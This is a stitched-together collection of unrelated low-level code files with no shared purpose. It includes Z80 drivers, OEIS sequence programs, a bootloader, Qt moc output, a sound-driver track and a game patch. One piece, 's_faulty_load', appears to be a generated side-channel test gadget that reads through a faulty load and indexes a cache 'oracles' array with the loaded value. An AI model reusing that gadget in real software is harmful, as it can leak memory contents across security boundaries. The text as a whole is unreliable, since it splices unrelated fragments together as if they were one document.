QUEUE EMPTY? RLCA CPL AND 00000001B RET ; ; OUTPUT STATUS - CAN WE OUTPUT A CHARACTER ; UF_OST: IN A,(FIFO_STATUS) ; IS THE SEND BUFFER FULL? CPL AND 00000001B RET ; ; INITIALIZATION THE SETUP PARAMETER WORD AND INITIALIZE DEVICE ; SAVE NEW SPW IF NOT A RE-INIT. ALWAYS INITIALIZE DEVICE. ; SPW IS NOT VALIDATED BUT IT IS NOT USED FOR ANYTHING. ; UF_INITDEV: ; ; TEST FOR -1 WHICH MEANS USE CURRENT CONFIG (JUST REINIT) LD A,D ; TEST DE FOR AND E ; ... VALUE OF -1 INC A ; ... SO Z SET IF -1 JR NZ,UF_INITDEV1 ; IF DE == -1, REINIT CURRENT CONFIG ; ; GET CURRENT SPW. WE ALWAYS RESAVE AT END LD E,(IY+0) ; LOW BYTE LD D,(IY+1) ; HIGH BYTE ; UF_INITDEV1: XOR A ; INTERRUPTS OFF OUT (FIFO_STATUS),A ; UF_FLUSH: IN A,(FIFO_STATUS) ; IS THERE ANY DATA RLCA ; IN THE BUFFER ? JR C,UFBUFEMPTY ; EXIT IF EMPTY ; IN A,(FIFO_DATA) ; CLEAR BUFFER BY READING JR UF_FLUSH ; ALL THE DATA UFBUFEMPTY: LD (IY+0),E ; SAVE LOW WORD LD (IY+1),D ; SAVE HI WORD RET ; NZ STATUS HERE INDICATES FAIL. ; ; USB-FIFO WILL APPEAR AS A SERIAL DEVICE AT DEFAULT SERIAL MODE ; UF_QUERY: LD E,(IY+0) ; FIRST CONFIG BYTE TO E LD D,(IY+1) ; SECOND CONFIG BYTE TO D XOR A ; SIGNAL SUCCESS RET ; DONE ; ; USB-FIFO WILL APPEAR AS A SERIAL DEVICE ; UF_DEVICE: LD D,CIODEV_UF ; D := DEVICE TYPE XOR A ; SIGNAL SUCCESS LD E,A ; E := PHYSICAL UNIT, ALWAYS 0 LD C,A ; C := DEVICE TYPE, 0x00 IS RS-232 LD H,0 ; H := 0, DRIVER HAS NO MODES LD L,UFBASE ; L := BASE I/O ADDRESS RET ; ; USB-FIFO DETECTION ROUTINE ; UF_DETECT: IN A,(FIFO_STATUS) AND 10000001B SUB 10000001B ; A=0 CABLE DISCONNECTED RET Z ; OR PC PORT CLOSED LD A,1 ; A=1 CABLE CONNECTED RET ; AND PC PORT OPEN ; ; DRIVER FUNCTION TABLE ; UF_FNTBL: .DW UF_IN .DW UF_OUT .DW UF_IST .DW UF_OST .DW UF_INITDEV .DW UF_QUERY .DW UF_DEVICE #IF (($ - UF_FNTBL) != (CIO_FNCNT * 2)) .ECHO "*** INVALID USB-FIFO FUNCTION TABLE ***\n" #ENDIF ;
; A242215: a(n) = 18*n + 5. ; 5,23,41,59,77,95,113,131,149,167,185,203,221,239,257,275,293,311,329,347,365,383,401,419,437,455,473,491,509,527,545,563,581,599,617,635,653,671,689,707,725,743,761,779,797,815,833,851,869,887,905,923,941,959 mov $1,$0 mul $1,18 add $1,5
; A106832: 4*n-2 and 6*n alternatively. ; 2,6,6,12,10,18,14,24,18,30,22,36,26,42,30,48,34,54,38,60,42,66,46,72,50,78,54,84,58,90,62,96,66,102,70,108,74,114,78,120,82,126,86,132,90,138,94,144,98,150 mov $1,$0 mod $0,2 add $0,2 mul $1,$0 add $0,$1
; ; ANSI Video handling for the Sharp X1 ; Karl Von Dyson (for X1s.org) - 24/10/2013 ; Stefano Bodrato 10/2013 ; ; set it up with: ; .text_cols = max columns ; .text_rows = max rows ; ; Display a char in location (ansi_ROW),(ansi_COLUMN) ; A=char to display ; ; ; $Id: f_ansi_char.asm,v 1.7 2016/07/20 05:45:02 stefano Exp $ ; SECTION code_clib PUBLIC ansi_CHAR PUBLIC text_cols PUBLIC text_rows PUBLIC ATTR EXTERN ansi_ROW EXTERN ansi_COLUMN EXTERN ansicolumns .text_cols defb ansicolumns .text_rows defb 25 .ansi_CHAR push af ld hl,$3000 ld a,(ansi_ROW) and a jr z,r_zero ld b,a ld d,l ld a,(text_cols) ld e,a .r_loop add hl,de djnz r_loop .r_zero ld a,(ansi_COLUMN) ld d,0 ld e,a add hl,de pop af .setout ld (hl),a ld b,h ld c,l out(c),a res 4,b .ATTR ;ld a,15 ld a,7 out(c),a ret
GLOBAL sysCallDispatcher extern sysCallHandler section .text %include "./asm/macros.m" sysCallDispatcher: pushStateNoRax call sysCallHandler popStateNoRax iretq
; A193259: G.f.: x = Sum_{n>=1} x^n * ((1+x)^n - x^n) / (1+x)^a(n). ; 1,4,5,9,10,12,13,18,19,21,22,25,26,28,29,35,36,38,39,42,43,45,46,50,51,53,54,57,58,60,61,68,69,71,72,75,76,78,79,83,84,86,87,90,91,93,94,99,100,102,103,106,107,109,110,114,115,117,118,121,122,124,125,133,134,136,137,140,141,143,144,148,149,151,152,155,156,158,159,164,165,167 lpb $0 sub $0,1 add $1,3 add $1,$0 div $0,2 lpe add $1,1
ifndef INCLUDE_BARDEN_MUL16 INCLUDE_BARDEN_MUL16 equ 1 ; _ _ _ __ ____ ;| | | | | |/ | / ___| ;| |__ __ _ _ __ __| | ___ _ __ _ __ ___ _ _| |`| | / /___ ;| '_ \ / _` | '__/ _` |/ _ \ '_ \ | '_ ` _ \| | | | | | | | ___ \ ;| |_) | (_| | | | (_| | __/ | | | | | | | | | |_| | |_| |_| \_/ | ;|_.__/ \__,_|_| \__,_|\___|_| |_| |_| |_| |_|\__,_|_|\___/\_____/ ; ______ ; |______| ; ; Author: William Barden, Jr. ; 'TRS-80 Assembly-Language Programming', 1979 pg 196. ; ; Multiplies a 16-bit number by an 8-bit number. ; ; Uses: hl,b,de ; ; Entry: de 16-bit multiplicand, unsigned ; b 8-bit multiplier, unsigned ; Exit: hl product barden_mul16: ld hl,0 ; Clear initial product _loop: srl b ; Shift out multiplier bit jr nc,_cont ; go if no carry (1 bit) add hl,de ; Add multiplicand _cont: ret z ; Go if multiplicand ex de,hl ; Multiplicand to hl add hl,hl ; Shift Multiplicand ex de,hl ; Swap back jr _loop endif ; INCLUDE_BARDEN_MUL16
#include "amici/symbolic_functions.h" #include "amici/defines.h" //realtype definition typedef amici::realtype realtype; #include <cmath> using namespace amici; namespace amici { namespace model_model_jakstat_adjoint_o2{ void dydx_model_jakstat_adjoint_o2(double *dydx, const realtype t, const realtype *x, const realtype *p, const realtype *k, const realtype *h, const realtype *w, const realtype *dwdx) { dydx[0+1*54] = p[13]/p[4]; dydx[0+2*54] = (p[13]*2.0)/p[4]; dydx[1+0*54] = p[12]/p[4]; dydx[1+1*54] = p[12]/p[4]; dydx[1+2*54] = (p[12]*2.0)/p[4]; dydx[3+10*54] = p[13]/p[4]; dydx[3+11*54] = (p[13]*2.0)/p[4]; dydx[4+9*54] = p[12]/p[4]; dydx[4+10*54] = p[12]/p[4]; dydx[4+11*54] = (p[12]*2.0)/p[4]; dydx[6+19*54] = p[13]/p[4]; dydx[6+20*54] = (p[13]*2.0)/p[4]; dydx[7+18*54] = p[12]/p[4]; dydx[7+19*54] = p[12]/p[4]; dydx[7+20*54] = (p[12]*2.0)/p[4]; dydx[9+28*54] = p[13]/p[4]; dydx[9+29*54] = (p[13]*2.0)/p[4]; dydx[10+27*54] = p[12]/p[4]; dydx[10+28*54] = p[12]/p[4]; dydx[10+29*54] = (p[12]*2.0)/p[4]; dydx[12+37*54] = p[13]/p[4]; dydx[12+38*54] = (p[13]*2.0)/p[4]; dydx[13+36*54] = p[12]/p[4]; dydx[13+37*54] = p[12]/p[4]; dydx[13+38*54] = (p[12]*2.0)/p[4]; dydx[15+1*54] = -1.0/(p[4]*p[4])*p[13]; dydx[15+2*54] = 1.0/(p[4]*p[4])*p[13]*-2.0; dydx[15+46*54] = p[13]/p[4]; dydx[15+47*54] = (p[13]*2.0)/p[4]; dydx[16+0*54] = -1.0/(p[4]*p[4])*p[12]; dydx[16+1*54] = -1.0/(p[4]*p[4])*p[12]; dydx[16+2*54] = 1.0/(p[4]*p[4])*p[12]*-2.0; dydx[16+45*54] = p[12]/p[4]; dydx[16+46*54] = p[12]/p[4]; dydx[16+47*54] = (p[12]*2.0)/p[4]; dydx[18+55*54] = p[13]/p[4]; dydx[18+56*54] = (p[13]*2.0)/p[4]; dydx[19+54*54] = p[12]/p[4]; dydx[19+55*54] = p[12]/p[4]; dydx[19+56*54] = (p[12]*2.0)/p[4]; dydx[21+64*54] = p[13]/p[4]; dydx[21+65*54] = (p[13]*2.0)/p[4]; dydx[22+63*54] = p[12]/p[4]; dydx[22+64*54] = p[12]/p[4]; dydx[22+65*54] = (p[12]*2.0)/p[4]; dydx[24+73*54] = p[13]/p[4]; dydx[24+74*54] = (p[13]*2.0)/p[4]; dydx[25+72*54] = p[12]/p[4]; dydx[25+73*54] = p[12]/p[4]; dydx[25+74*54] = (p[12]*2.0)/p[4]; dydx[27+82*54] = p[13]/p[4]; dydx[27+83*54] = (p[13]*2.0)/p[4]; dydx[28+81*54] = p[12]/p[4]; dydx[28+82*54] = p[12]/p[4]; dydx[28+83*54] = (p[12]*2.0)/p[4]; dydx[30+91*54] = p[13]/p[4]; dydx[30+92*54] = (p[13]*2.0)/p[4]; dydx[31+90*54] = p[12]/p[4]; dydx[31+91*54] = p[12]/p[4]; dydx[31+92*54] = (p[12]*2.0)/p[4]; dydx[33+100*54] = p[13]/p[4]; dydx[33+101*54] = (p[13]*2.0)/p[4]; dydx[34+99*54] = p[12]/p[4]; dydx[34+100*54] = p[12]/p[4]; dydx[34+101*54] = (p[12]*2.0)/p[4]; dydx[36+109*54] = p[13]/p[4]; dydx[36+110*54] = (p[13]*2.0)/p[4]; dydx[37+108*54] = p[12]/p[4]; dydx[37+109*54] = p[12]/p[4]; dydx[37+110*54] = (p[12]*2.0)/p[4]; dydx[39+118*54] = p[13]/p[4]; dydx[39+119*54] = (p[13]*2.0)/p[4]; dydx[40+0*54] = 1.0/p[4]; dydx[40+1*54] = 1.0/p[4]; dydx[40+2*54] = 2.0/p[4]; dydx[40+117*54] = p[12]/p[4]; dydx[40+118*54] = p[12]/p[4]; dydx[40+119*54] = (p[12]*2.0)/p[4]; dydx[42+1*54] = 1.0/p[4]; dydx[42+2*54] = 2.0/p[4]; dydx[42+127*54] = p[13]/p[4]; dydx[42+128*54] = (p[13]*2.0)/p[4]; dydx[43+126*54] = p[12]/p[4]; dydx[43+127*54] = p[12]/p[4]; dydx[43+128*54] = (p[12]*2.0)/p[4]; dydx[45+136*54] = p[13]/p[4]; dydx[45+137*54] = (p[13]*2.0)/p[4]; dydx[46+135*54] = p[12]/p[4]; dydx[46+136*54] = p[12]/p[4]; dydx[46+137*54] = (p[12]*2.0)/p[4]; dydx[48+145*54] = p[13]/p[4]; dydx[48+146*54] = (p[13]*2.0)/p[4]; dydx[49+144*54] = p[12]/p[4]; dydx[49+145*54] = p[12]/p[4]; dydx[49+146*54] = (p[12]*2.0)/p[4]; dydx[51+154*54] = p[13]/p[4]; dydx[51+155*54] = (p[13]*2.0)/p[4]; dydx[52+153*54] = p[12]/p[4]; dydx[52+154*54] = p[12]/p[4]; dydx[52+155*54] = (p[12]*2.0)/p[4]; } } // namespace model_model_jakstat_adjoint_o2 } // namespace amici
; void *memccpy(void * restrict s1, const void * restrict s2, int c, size_t n) SECTION code_string PUBLIC memccpy EXTERN l0_memccpy_callee memccpy: pop af pop bc pop ix pop hl pop de push de push hl push ix push bc push af jp l0_memccpy_callee
52_Header: sHeaderInit ; Z80 offset is $C548 sHeaderPatch 52_Patches sHeaderTick $01 sHeaderCh $02 sHeaderSFX $80, $C0, 52_PSG3, $00, $00 sHeaderSFX $80, $05, 52_FM5, $00, $10 52_PSG3: sNoisePSG $E7 dc.b nBb6, $06 52_Loop1: dc.b nEb6, $03 saTranspose $FE sLoop $00, $08, 52_Loop1 52_Loop2: dc.b nEb6 saVolPSG $01 sLoop $00, $0E, 52_Loop2 sStop 52_FM5: sPatFM $00 dc.b nC2, $28 sStop 52_Patches: ; Patch $00 ; $3D ; $00, $10, $20, $00, $1F, $1F, $1F, $1F ; $09, $00, $00, $00, $00, $0C, $0A, $0A ; $FF, $0F, $0F, $0F, $06, $80, $80, $80 spAlgorithm $05 spFeedback $07 spDetune $00, $02, $01, $00 spMultiple $00, $00, $00, $00 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $09, $00, $00, $00 spSustainLv $0F, $00, $00, $00 spDecayRt $00, $0A, $0C, $0A spReleaseRt $0F, $0F, $0F, $0F spTotalLv $06, $00, $00, $00
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x94f2, %r9 nop nop nop nop and $37279, %rbx vmovups (%r9), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r11 nop and %rax, %rax lea addresses_UC_ht+0x1b4e2, %r8 nop nop inc %r9 movups (%r8), %xmm4 vpextrq $0, %xmm4, %rbx nop nop nop add %r8, %r8 lea addresses_UC_ht+0xce82, %r10 nop nop and $17183, %r15 mov $0x6162636465666768, %rax movq %rax, %xmm0 movups %xmm0, (%r10) nop xor $58335, %r8 lea addresses_UC_ht+0x19d02, %rsi lea addresses_normal_ht+0x1c1e2, %rdi nop nop sub $25940, %r8 mov $22, %rcx rep movsq nop nop nop and $21647, %rbx lea addresses_D_ht+0xda82, %r9 xor %rbx, %rbx movups (%r9), %xmm3 vpextrq $1, %xmm3, %r8 sub %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rbp push %rcx push %rdi // Faulty Load lea addresses_D+0x19082, %r12 nop inc %rcx vmovups (%r12), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %r13 lea oracles, %r12 and $0xff, %r13 shlq $12, %r13 mov (%r12,%r13,1), %r13 pop %rdi pop %rcx pop %rbp pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; A154600: a(n) = 2*n^2 + 22*n + 9. ; 33,61,93,129,169,213,261,313,369,429,493,561,633,709,789,873,961,1053,1149,1249,1353,1461,1573,1689,1809,1933,2061,2193,2329,2469,2613,2761,2913,3069,3229,3393,3561,3733,3909,4089,4273,4461,4653,4849,5049,5253,5461,5673,5889,6109,6333,6561,6793,7029,7269,7513,7761,8013,8269,8529,8793,9061,9333,9609,9889,10173,10461,10753,11049,11349,11653,11961,12273,12589,12909,13233,13561,13893,14229,14569,14913,15261,15613,15969,16329,16693,17061,17433,17809,18189,18573,18961,19353,19749,20149,20553,20961,21373,21789,22209 mov $1,$0 mul $0,2 add $1,13 mul $0,$1 add $0,33
/**************************************************************************** ** Meta object code from reading C++ file 'pluginscenemanager.h' ** ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.10.0) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../Management/pluginscenemanager.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'pluginscenemanager.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.10.0. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE QT_WARNING_PUSH QT_WARNING_DISABLE_DEPRECATED struct qt_meta_stringdata_SCSHAREDLIB__PluginSceneManager_t { QByteArrayData data[1]; char stringdata0[32]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_SCSHAREDLIB__PluginSceneManager_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_SCSHAREDLIB__PluginSceneManager_t qt_meta_stringdata_SCSHAREDLIB__PluginSceneManager = { { QT_MOC_LITERAL(0, 0, 31) // "SCSHAREDLIB::PluginSceneManager" }, "SCSHAREDLIB::PluginSceneManager" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_SCSHAREDLIB__PluginSceneManager[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 0, 0, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount 0 // eod }; void SCSHAREDLIB::PluginSceneManager::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { Q_UNUSED(_o); Q_UNUSED(_id); Q_UNUSED(_c); Q_UNUSED(_a); } const QMetaObject SCSHAREDLIB::PluginSceneManager::staticMetaObject = { { &QObject::staticMetaObject, qt_meta_stringdata_SCSHAREDLIB__PluginSceneManager.data, qt_meta_data_SCSHAREDLIB__PluginSceneManager, qt_static_metacall, nullptr, nullptr} }; const QMetaObject *SCSHAREDLIB::PluginSceneManager::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *SCSHAREDLIB::PluginSceneManager::qt_metacast(const char *_clname) { if (!_clname) return nullptr; if (!strcmp(_clname, qt_meta_stringdata_SCSHAREDLIB__PluginSceneManager.stringdata0)) return static_cast<void*>(this); return QObject::qt_metacast(_clname); } int SCSHAREDLIB::PluginSceneManager::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QObject::qt_metacall(_c, _id, _a); return _id; } QT_WARNING_POP QT_END_MOC_NAMESPACE
;保存系统的基本信息 BOOTINFO equ 0x7c00 ;init.c可能会用 ;初始化 mov ax,0 mov ss,ax mov ds,ax mov es,ax mov sp,0x7c00 ;这部分代码源于linux的0.11版setup.s mov ah, 0x03 xor bh, bh int 0x10 mov [BOOTINFO], dx ;光标信息 mov ah, 0x88 int 0x15 mov [BOOTINFO + 2], ax ;扩展内存大小KB,即1M之外的大小 mov ah, 0x0f int 0x10 mov [BOOTINFO + 4], bx ;bh -->当前页 mov [BOOTINFO + 6], ax ;al->显示模式 ah->字符列数 mov ah, 0x12 mov bl, 0x10 int 0x10 mov [BOOTINFO + 8], bx ;安装的显示内存,高位保存显示状态 mov [BOOTINFO + 10], cx ;显示卡特性参数。。 mov si, [4 * 0x41] ;取中断向量0x41的值。hd0的值 mov ax, BOOTINFO mov es, ax mov cx, 0x10 mov di, 0x0010 ;保存在7c10---7c20 cld rep movsb xor ax, ax mov es, ax ;================================================================= ; 进入保护模式 ; 1:创建并载入GDT ; 2:屏蔽中断 ; 3: 打开A20 ; 4: 设置CR0 ; 5: 清空流水。。通常是通过jmp实现 ;================================================================= xor eax,eax mov ax,ds shl eax,4 ; add eax,GDT ; 获得GDT的物理地址 mov dword [GdtPtr+2], eax ; [GdtPtr + 2] <- gdt base ;载入GDT lgdt [GdtPtr] mov ax,msg_gdt call print_16 ;屏蔽中断,此时是可以调用软中断的。 cli mov ax, msg_cli call print_16 ;Fast A20 in al,0x92 or al,00000010b out 0x92, al mov ax,msg_a20 call print_16 ;设置cr0 mov eax,cr0 or eax, 1 mov cr0,eax ;清空流水,直接跳到0x8000 jmp dword Selec_Code32_R0:0x8000 %include "print_16.asm" ;数据区 msg_gdt: db "Temp GDT loaded...",13,10,0 msg_cli: db "interrupt down...", 13, 10, 0 msg_a20: db "A20 line on...",13,10,0 ; base limit ar %macro Descriptor 3 DW %2 & 0xffff ; 段界限1 16 DW %1 & 0xffff ; 段基址1 16 DB (%1 >> 16) & 0xff ; 段基址2 8 DW ((%2 >> 8) & 0xf00) | (%3 & 0xf0ff) ; 属性1 + 段界限2 + 属性2 DB (%1 >> 24) & 0xff ; 段基址3 8 %endmacro align 8 GDT: ;64位。。暂时用用 DESC_NULL: Descriptor 0x00000000, 0x00000, 0x0000 DESC_CODE32_R0: Descriptor 0x00000000, 0xfffff, 0b1100000010011010 DESC_DATA_R0: Descriptor 0x00000000, 0xfffff, 0b1100000010010010 GdtLen equ $ - GDT ; GDT len GdtPtr dw GdtLen - 1 ; GDT limit dd 0 ; GDT Base ;选择子 Selec_Code32_R0 equ 0x8 Selec_Data_R0 equ 0x10 ;1024字节够了吧,这里的1024其实是指两个文件的。 times 1024 - ($ - $$) db 0
; Keyboard controls and right-click-to-close for the Save dialog. [bits 16] startPatch EXE_LENGTH, saveDialog ; SaveSlot_processInput ; Don't wait for mouse button to be released after a click on a save slot, ; because we are now using simulated clicks to activate slots. startBlockAt addr_SaveSlot_processInput_loopForMouseUp nop nop endBlock ; SaveDialog_appendChar -- non-printable keys do not truncate text startBlockAt addr_SaveDialog_appendChar_testSpecialKey cmp ax, ' ' jb calcJump(off_SaveDialog_appendChar_endProc) jmp calcJump(off_SaveDialog_appendChar_afterTruncate + 2) endBlock startBlockAt addr_SaveDialog_appendChar_afterTruncate jmp calcJump(off_SaveDialog_appendChar_append) cmp ax, '~' ja calcJump(off_SaveDialog_appendChar_endProc) jmp calcJump(off_SaveDialog_appendChar_maybeTruncate) endBlock ; SaveDialog_processInput %define arg_mouseState 0x8 %define var_returnCode -0x5 %define var_keyWasPressed -0x6 %define var_pressedKeyCode -0xA startBlockAt addr_keyOrMouse cmp byte [bp+var_keyWasPressed], 0 jz calcJump(handleMouse - handleKey + off_handleKey) jmp calcJump(off_handleKey) endBlock startBlockAt addr_handleKeyAfterBlinking handleKeyAfterBlinking: cmp word [bp+var_pressedKeyCode], 0xD ; Enter jz trySaveButton cmp word [bp+var_pressedKeyCode], 0x11F ; Alt+S jz trySaveButton cmp word [bp+var_pressedKeyCode], 0x126 ; Alt+L jz tryLoadButton jmp neitherSaveNorLoad tryLoadButton: ; if Load button is enabled, load lea ax, [si+0x2E] push ax callFromOverlay Control_isVisible pop cx mov ah, 0 test ax, ax jnz calcJump(off_triggerLoad) jmp neitherSaveNorLoad trySaveButton: ; if Save button is enabled, save lea ax, [si+0x4A] push ax callFromOverlay Control_isVisible pop cx mov ah, 0 test ax, ax jnz calcJump(off_triggerSave) neitherSaveNorLoad: jmp calcJump(off_determineSlotTextWidth) disableLoadOnFirstEdit: mov byte [si+0x157], 0 lea ax, [si+0x2E] push ax callFromOverlay Control_setInvisible pop cx jmp calcJump(off_enableOrDisableSaveButton) endBlock ; prev: just set a bit indicating text had been edited ; now: (jump to) disable Load button startBlockAt addr_textNoLongerUnedited jmp calcJump(disableLoadOnFirstEdit \ - handleKeyAfterBlinking + off_handleKeyAfterBlinking) endBlock startBlockAt addr_handleKey handleKey: mov di, [si+0x2C] mov ax, [bp+var_pressedKeyCode] cmp ax, 27 jz escape cmp ax, 0x148 jz up cmp ax, 0x150 jz down cmp di, -1 jnz calcJump(off_handleKeyWithActiveSlot) cmp ax, '0' jz zeroKey jb notNumberKey cmp ax, '9' ja notNumberKey sub ax, '1' mov di, ax jmp setActive zeroKey: mov di, 9 jmp setActive notNumberKey: jmp calcJump(handleMouse - handleKey + off_handleKey) escape: mov byte [bp+var_returnCode], 1 jmp calcJump(off_SaveDialog_processInput_end) up: cmp di, -1 jz upToBottom cmp di, 0 jz upToBottom dec di jmp setActive upToBottom: mov di, 9 jmp setActive down: cmp di, -1 jz downToTop cmp di, 9 jz downToTop inc di jmp setActive downToTop: mov di, 0 setActive: ; alter mouse state to simulate a click on the save slot ; bx = new slot mov bx, di shl bx, 1 add bx, si add bx, 0xE mov bx, [bx] mov di, [bp+arg_mouseState] ; mouseState.2x = saveSlot.left * 2 mov ax, [bx+0xE] shl ax, 1 mov [di+2], ax ; mouseState.y = saveSlot.top mov ax, [bx+0x10] mov [di+4], ax ; mouseState.buttons = 1 mov byte [di+7], 1 ; let the click-detection code respond to the forged mouse state jmp calcJump(off_saveSlotLoopStart) ; the right-click-to-close patch allows mouse button 2 to reach dialogs handleMouse: mov bx, [bp+arg_mouseState] cmp byte [bx+MouseState_action], 1 jnz notClose cmp byte [bx+MouseState_button], 2 jnz notClose jmp calcJump(off_triggerClose) notClose: jmp calcJump(off_handleMouseButton1) endBlock endPatch
; CALLER linkage for function pointers XLIB memchr LIB memchr_callee XREF ASMDISP_MEMCHR_CALLEE .memchr pop af pop bc pop de pop hl push hl push de push bc push af jp memchar_callee + ASMDISP_MEMCHR_CALLEE - 1
%ifdef CONFIG { "RegData": { "RAX": "0x400", "MM7": ["0x8000000000000000", "0x3FFF"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov eax, 0x44800000 ; 1024.0 mov [rdx + 8 * 0], eax mov eax, 0 mov [rdx + 8 * 1], eax fld dword [rdx + 8 * 0] fistp dword [rdx + 8 * 1] fld1 mov eax, [rdx + 8 * 1] hlt
